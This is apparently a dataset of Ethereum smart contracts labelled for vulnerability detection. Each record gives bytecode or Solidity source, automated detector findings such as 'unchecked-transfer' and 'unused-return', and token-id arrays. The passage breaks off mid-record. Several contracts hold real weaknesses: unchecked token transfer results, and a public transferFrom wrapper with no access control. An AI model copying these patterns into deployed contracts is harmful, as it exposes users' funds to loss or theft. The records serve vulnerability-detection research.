51b815260040161093390612856565b61133f84848484611d29565b50505050565b61134d611740565b6001600160a01b03166113686009546001600160a01b031690565b6001600160a01b03161461138e5760405162461bcd60e51b8152600401610933906127f4565b601155565b606061139d611555565b6113a683611d5c565b6040516020016113b792919061290b565b6040516020818303038152906040529050919050565b6113d5611740565b6001600160a01b03166113f06009546001600160a01b031690565b6001600160a01b0316146114165760405162461bcd60e51b8152600401610933906127f4565b6001600160a01b03909116600090815260126020526040902055565b82600f5461144091906128ec565b3410156114845760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b6044820152606401610933565b60105460ff16156114a75760405162461bcd60e51b8152600401610933906128c0565b6114b2338383610f2e565b6114fe5760405162461bcd60e51b815260206004820152601760248201527f75736572206973206e6f742077686974656c69737465640000000000000000006044820152606401610933565b610a7a83611ba8565b61150f611740565b6001600160a01b031661152a6009546001600160a01b031690565b6001600160a01b0316146115505760405162461bcd60e51b8152600401610933906127f4565b600f55565b6060600c805461083b9061273b565b600b5460405163c455279160e01b81526001600160a01b03848116600483015260009281169190841690829063c455279190602401602060405180830381865afa1580156115b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115da919061293a565b6001600160a01b0316036115f2576001915050610826565b6001600160a01b0380851660009081526005602090815260408083209387168352929052205460ff165b949350505050565b61162c611740565b6001600160a01b03166116476009546001600160a01b031690565b6001600160a01b03161461166d5760405162461bcd60e51b8152600401610933906127f4565b6001600160a01b0381166116d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610933565b610e3681611b56565b80546001019055565b600030330361173a57600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050503601516001600160a01b0316915061173d9050565b50335b90565b6000610cdc6116e4565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061177f82610fb4565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006001600160a01b03861661181e5760405162461bcd60e51b815260206004820152602560248201527f4e61746976654d6574615472616e73616374696f6e3a20494e56414c49445f5360448201526424a3a722a960d91b6064820152608401610933565b600161183161182c87611e5d565b611eda565b6040805160008152602081018083529290925260ff851690820152606081018690526080810185905260a0016020604051602081039080840390855afa15801561187f573d6000803e3d6000fd5b505050602060405103516001600160a01b0316866001600160a01b031614905095945050505050565b60006118b48284612957565b9392505050565b6000818152600260205260408120546001600160a01b03166119345760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610933565b600061193f83610fb4565b9050806001600160a01b0316846001600160a01b0316148061197a5750836001600160a01b031661196f846108be565b6001600160a01b0316145b8061161c575061161c8185611564565b826001600160a01b031661199d82610fb4565b6001600160a01b031614611a015760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b6064820152608401610933565b6001600160a01b038216611a635760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610933565b611a6e60008261174a565b6001600160a01b0383166000908152600360205260408120805460019290611a9790849061283f565b90915550506001600160a01b0382166000908152600360205260408120805460019290611ac5908490612957565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b61120b828260405180602001604052806000815250611f0a565b600082611b4d8584611f3d565b14949350505050565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600d54611bb6906001612957565b81611bc0600a5490565b611bca9190612957565b1115611c185760405162461bcd60e51b815260206004820152601b60248201527f6e6f7420656e6f75676820746f6b656e7320617661696c61626c6500000000006044820152606401610933565b60005b8181101561120b576000611c2e600a5490565b9050611c3e600a80546001019055565b611c483382611b26565b5080611c53816128a7565b915050611c1b565b816001600160a01b0316836001600160a01b031603611cbc5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610933565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611d3484848461198a565b611d4084848484611fb1565b61133f5760405162461bcd60e51b81526004016109339061296f565b606081600003611d835750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611dad5780611d97816128a7565b9150611da69050600a836129d7565b9150611d87565b60008167ffffffffffffffff811115611dc857611dc861238c565b6040519080825280601f01601f191660200182016040528015611df2576020820181803683370190505b5090505b841561161c57611e0760018361283f565b9150611e14600a866129eb565b611e1f906030612957565b60f81b818381518110611e3457611e346129ff565b60200101906001600160f81b031916908160001a905350611e56600a866129d7565b9450611df6565b6000604051806080016040528060438152602001612a706043913980516020918201208351848301516040808701518051908601209051611ebd950193845260208401929092526001600160a01b03166040830152606082015260800190565b604051602081830303815290604052805190602001209050919050565b6000611ee560075490565b60405161190160f01b6020820152602281019190915260428101839052606201611ebd565b611f1483836120b9565b611f216000848484611fb1565b610a7a5760405162461bcd60e51b81526004016109339061296f565b600081815b8451811015611fa9576000858281518110611f5f57611f5f6129ff565b60200260200101519050808311611f855760008381526020829052604090209250611f96565b600081815260208490526040902092505b5080611fa1816128a7565b915050611f42565b509392505050565b60006001600160a01b0384163b156120ae57836001600160a01b031663150b7a02611fda611740565b8786866040518563ffffffff1660e01b8152600401611ffc9493929190612a15565b6020604051808303816000875af1925050508015612037575060408051601f3d908101601f1916820190925261203491810190612a52565b60015b612094573d808015612065576040519150601f19603f3d011682016040523d82523d6000602084013e61206a565b606091505b50805160000361208c5760405162461bcd60e51b81526004016109339061296f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061161c565b506001949350505050565b6001600160a01b03821661210f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610933565b6000818152600260205260409020546001600160a01b0316156121745760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610933565b6001600160a01b038216600090815260036020526040812080546001929061219d908490612957565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546122079061273b565b90600052602060002090601f016020900481019282612229576000855561226f565b82601f1061224257805160ff191683800117855561226f565b8280016001018555821561226f579182015b8281111561226f578251825591602001919060010190612254565b5061227b92915061227f565b5090565b5b8082111561227b5760008155600101612280565b6001600160e01b031981168114610e3657600080fd5b6000602082840312156122bc57600080fd5b81356118b481612294565b60005b838110156122e25781810151838201526020016122ca565b8381111561133f5750506000910152565b6000815180845261230b8160208601602086016122c7565b601f01601f19169290920160200192915050565b6020815260006118b460208301846122f3565b60006020828403121561234457600080fd5b5035919050565b6001600160a01b0381168114610e3657600080fd5b6000806040838503121561237357600080fd5b823561237e8161234b565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156123bd576123bd61238c565b604051601f8501601f19908116603f011681019082821181831017156123e5576123e561238c565b816040528093508581528686860111156123fe57600080fd5b858560208301376000602087830101525050509392505050565b600082601f83011261242957600080fd5b6118b4838335602085016123a2565b600080600080600060a0868803121561245057600080fd5b853561245b8161234b565b9450602086013567ffffffffffffffff81111561247757600080fd5b61248388828901612418565b9450506040860135925060608601359150608086013560ff811681146124a857600080fd5b809150509295509295909350565b803580151581146124c657600080fd5b919050565b6000602082840312156124dd57600080fd5b6118b4826124b6565b6000806000606084860312156124fb57600080fd5b83356125068161234b565b925060208401356125168161234b565b929592945050506040919091013590565b60006020828403121561253957600080fd5b81356118b48161234b565b60008083601f84011261255657600080fd5b50813567ffffffffffffffff81111561256e57600080fd5b6020830191508360208260051b850101111561258957600080fd5b9250929050565b6000806000604084860312156125a557600080fd5b83356125b08161234b565b9250602084013567ffffffffffffffff8111156125cc57600080fd5b6125d886828701612544565b9497909650939450505050565b6000602082840312156125f757600080fd5b813567ffffffffffffffff81111561260e57600080fd5b8201601f8101841361261f57600080fd5b61161c848235602084016123a2565b6000806040838503121561264157600080fd5b823561264c8161234b565b915061265a602084016124b6565b90509250929050565b6000806000806080858703121561267957600080fd5b84356126848161234b565b935060208501356126948161234b565b925060408501359150606085013567ffffffffffffffff8111156126b757600080fd5b6126c387828801612418565b91505092959194509250565b6000806000604084860312156126e457600080fd5b83359250602084013567ffffffffffffffff8111156125cc57600080fd5b6000806040838503121561271557600080fd5b82356127208161234b565b915060208301356127308161234b565b809150509250929050565b600181811c9082168061274f57607f821691505b60208210810361276f57634e487b7160e01b600052602260045260246000fd5b50919050565b6001600160a01b03848116825283166020820152606060408201819052600090610fab908301846122f3565b600083516127b38184602088016122c7565b60609390931b6bffffffffffffffffffffffff19169190920190815260140192915050565b600082516127ea8184602087016122c7565b9190910192915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561285157612851612829565b500390565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000600182016128b9576128b9612829565b5060010190565b60208082526012908201527118dbdb9d1c9858dd081a5cc81c185d5cd95960721b604082015260600190565b600081600019048311821515161561290657612906612829565b500290565b6000835161291d8184602088016122c7565b8351908301906129318183602088016122c7565b01949350505050565b60006020828403121561294c57600080fd5b81516118b48161234b565b6000821982111561296a5761296a612829565b500190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826129e6576129e66129c1565b500490565b6000826129fa576129fa6129c1565b500690565b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612a48908301846122f3565b9695505050505050565b600060208284031215612a6457600080fd5b81516118b48161229456fe4d6574615472616e73616374696f6e2875696e74323536206e6f6e63652c616464726573732066726f6d2c62797465732066756e6374696f6e5369676e617475726529a2646970667358221220decd561e47833fb80bace12f250ecdef500154107b91928f6500b6e52ba722a064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 23833, 27531, 2549, 2063, 19317, 2692, 4402, 27814, 2683, 16086, 2546, 2683, 16576, 2063, 21084, 2683, 2581, 2575, 21057, 21472, 2620, 2683, 10790, 21486, 11057, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 3229, 1013, 2219, 3085, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,674
0x9726f6c6feba96b04702550fb99bf4f0f152d7df
pragma solidity ^0.4.24; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract Airdrop is Ownable { ERC20Basic token; constructor(address tokenAddress) public { token = ERC20Basic(tokenAddress); } function sendWinnings(address[] winners, uint256[] amounts) public onlyOwner { require(winners.length == amounts.length,"The number of winners must match the number of amounts"); require(winners.length <= 64); for (uint i = 0; i < winners.length; i++) { token.transfer(winners[i], amounts[i]); } } function withdraw() public onlyOwner { uint256 currentSupply = token.balanceOf(address(this)); token.transfer(owner, currentSupply); } }
0x60806040526004361061006c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166335f10cc381146100715780633ccfd60b14610101578063715018a6146101165780638da5cb5b1461012b578063f2fde38b1461015c575b600080fd5b34801561007d57600080fd5b50604080516020600480358082013583810280860185019096528085526100ff95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061017d9650505050505050565b005b34801561010d57600080fd5b506100ff610330565b34801561012257600080fd5b506100ff610479565b34801561013757600080fd5b506101406104e5565b60408051600160a060020a039092168252519081900360200190f35b34801561016857600080fd5b506100ff600160a060020a03600435166104f4565b60008054600160a060020a0316331461019557600080fd5b815183511461022b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f546865206e756d626572206f662077696e6e657273206d757374206d6174636860448201527f20746865206e756d626572206f6620616d6f756e747300000000000000000000606482015290519081900360840190fd5b82516040101561023a57600080fd5b5060005b825181101561032b576001548351600160a060020a039091169063a9059cbb9085908490811061026a57fe5b90602001906020020151848481518110151561028257fe5b906020019060200201516040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156102f757600080fd5b505af115801561030b573d6000803e3d6000fd5b505050506040513d602081101561032157600080fd5b505060010161023e565b505050565b60008054600160a060020a0316331461034857600080fd5b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b1580156103ae57600080fd5b505af11580156103c2573d6000803e3d6000fd5b505050506040513d60208110156103d857600080fd5b505160015460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561044f57600080fd5b505af1158015610463573d6000803e3d6000fd5b505050506040513d602081101561032b57600080fd5b600054600160a060020a0316331461049057600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600054600160a060020a0316331461050b57600080fd5b600160a060020a038116151561052057600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820e9b29a17b8a03d61d62128ef97c53d64bc8b8f60071d7770d2ee6d39a2c0432d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 23833, 2546, 2575, 2278, 2575, 7959, 3676, 2683, 2575, 2497, 2692, 22610, 2692, 17788, 12376, 26337, 2683, 2683, 29292, 2549, 2546, 2692, 2546, 16068, 2475, 2094, 2581, 20952, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 7389, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,675
0x97275a3a1237b1b63ce089daffffc7ddf6a5c262
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IGenArt { function getTokensByOwner(address owner) external view returns (uint256[] memory); function ownerOf(uint256 tokenId) external view returns (address); function isGoldToken(uint256 _tokenId) external view returns (bool); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Interface to the GEN.ART Membership and Governance Token Contracts */ contract GenArtInterface is Ownable { IGenArt private _genArtMembership; IERC20 private _genArtToken; bool private _genAllowed = false; constructor(address genArtMembershipAddress_) { _genArtMembership = IGenArt(genArtMembershipAddress_); } function getMaxMintForMembership(uint256 _membershipId) public view returns (uint256) { _genArtMembership.ownerOf(_membershipId); bool isGold = _genArtMembership.isGoldToken(_membershipId); return (isGold ? 5 : 1); } function getMaxMintForOwner(address owner) public view returns (uint256) { uint256[] memory tokenIds = _genArtMembership.getTokensByOwner(owner); uint256 maxMint = 0; for (uint256 i = 0; i < tokenIds.length; i++) { maxMint += getMaxMintForMembership(tokenIds[i]); } return maxMint; } function upgradeGenArtTokenContract(address _genArtTokenAddress) public onlyOwner { _genArtToken = IERC20(_genArtTokenAddress); } function setAllowGen(bool allow) public onlyOwner { _genAllowed = allow; } function isGoldToken(uint256 _membershipId) public view returns (bool) { return _genArtMembership.isGoldToken(_membershipId); } function genAllowed() public view returns (bool) { return _genAllowed; } function ownerOf(uint256 _membershipId) public view returns (address) { return _genArtMembership.ownerOf(_membershipId); } function balanceOf(address _owner) public view returns (uint256) { return _genArtToken.balanceOf(_owner); } function transferFrom( address _from, address _to, uint256 _amount ) public { _genArtToken.transferFrom(_from, _to, _amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a61461018b5780638da5cb5b14610195578063b5e94411146101b3578063f2fde38b146101e3578063f4ed4d15146101ff578063f8c6c1c81461022f576100b4565b80631a715d0f146100b957806323b872dd146100d557806329e97e7d146100f15780636352211e1461010d5780636feaa9661461013d57806370a082311461015b575b600080fd5b6100d360048036038101906100ce9190610db0565b61025f565b005b6100ef60048036038101906100ea9190610d14565b6102f8565b005b61010b60048036038101906101069190610cba565b6103af565b005b61012760048036038101906101229190610e0a565b61046f565b6040516101349190610ed7565b60405180910390f35b610145610523565b6040516101529190610f29565b60405180910390f35b61017560048036038101906101709190610cba565b61053a565b6040516101829190610f84565b60405180910390f35b6101936105ee565b005b61019d610676565b6040516101aa9190610ed7565b60405180910390f35b6101cd60048036038101906101c89190610cba565b61069f565b6040516101da9190610f84565b60405180910390f35b6101fd60048036038101906101f89190610cba565b6107af565b005b61021960048036038101906102149190610e0a565b6108a7565b6040516102269190610f29565b60405180910390f35b61024960048036038101906102449190610e0a565b61095b565b6040516102569190610f84565b60405180910390f35b610267610ad2565b73ffffffffffffffffffffffffffffffffffffffff16610285610676565b73ffffffffffffffffffffffffffffffffffffffff16146102db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102d290610f64565b60405180910390fd5b80600260146101000a81548160ff02191690831515021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161035793929190610ef2565b602060405180830381600087803b15801561037157600080fd5b505af1158015610385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a99190610ddd565b50505050565b6103b7610ad2565b73ffffffffffffffffffffffffffffffffffffffff166103d5610676565b73ffffffffffffffffffffffffffffffffffffffff161461042b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042290610f64565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004016104cc9190610f84565b60206040518083038186803b1580156104e457600080fd5b505afa1580156104f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051c9190610ce7565b9050919050565b6000600260149054906101000a900460ff16905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016105979190610ed7565b60206040518083038186803b1580156105af57600080fd5b505afa1580156105c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e79190610e37565b9050919050565b6105f6610ad2565b73ffffffffffffffffffffffffffffffffffffffff16610614610676565b73ffffffffffffffffffffffffffffffffffffffff161461066a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066190610f64565b60405180910390fd5b6106746000610ada565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340398d67846040518263ffffffff1660e01b81526004016106fd9190610ed7565b60006040518083038186803b15801561071557600080fd5b505afa158015610729573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906107529190610d67565b90506000805b82518110156107a45761078483828151811061077757610776611148565b5b602002602001015161095b565b8261078f9190611001565b9150808061079c906110d0565b915050610758565b508092505050919050565b6107b7610ad2565b73ffffffffffffffffffffffffffffffffffffffff166107d5610676565b73ffffffffffffffffffffffffffffffffffffffff161461082b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082290610f64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290610f44565b60405180910390fd5b6108a481610ada565b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f4ed4d15836040518263ffffffff1660e01b81526004016109049190610f84565b60206040518083038186803b15801561091c57600080fd5b505afa158015610930573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109549190610ddd565b9050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004016109b89190610f84565b60206040518083038186803b1580156109d057600080fd5b505afa1580156109e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a089190610ce7565b506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f4ed4d15846040518263ffffffff1660e01b8152600401610a669190610f84565b60206040518083038186803b158015610a7e57600080fd5b505afa158015610a92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab69190610ddd565b905080610ac4576001610ac7565b60055b60ff16915050919050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000610bb1610bac84610fc4565b610f9f565b90508083825260208201905082856020860282011115610bd457610bd36111ab565b5b60005b85811015610c045781610bea8882610ca5565b845260208401935060208301925050600181019050610bd7565b5050509392505050565b600081359050610c1d81611243565b92915050565b600081519050610c3281611243565b92915050565b600082601f830112610c4d57610c4c6111a6565b5b8151610c5d848260208601610b9e565b91505092915050565b600081359050610c758161125a565b92915050565b600081519050610c8a8161125a565b92915050565b600081359050610c9f81611271565b92915050565b600081519050610cb481611271565b92915050565b600060208284031215610cd057610ccf6111b5565b5b6000610cde84828501610c0e565b91505092915050565b600060208284031215610cfd57610cfc6111b5565b5b6000610d0b84828501610c23565b91505092915050565b600080600060608486031215610d2d57610d2c6111b5565b5b6000610d3b86828701610c0e565b9350506020610d4c86828701610c0e565b9250506040610d5d86828701610c90565b9150509250925092565b600060208284031215610d7d57610d7c6111b5565b5b600082015167ffffffffffffffff811115610d9b57610d9a6111b0565b5b610da784828501610c38565b9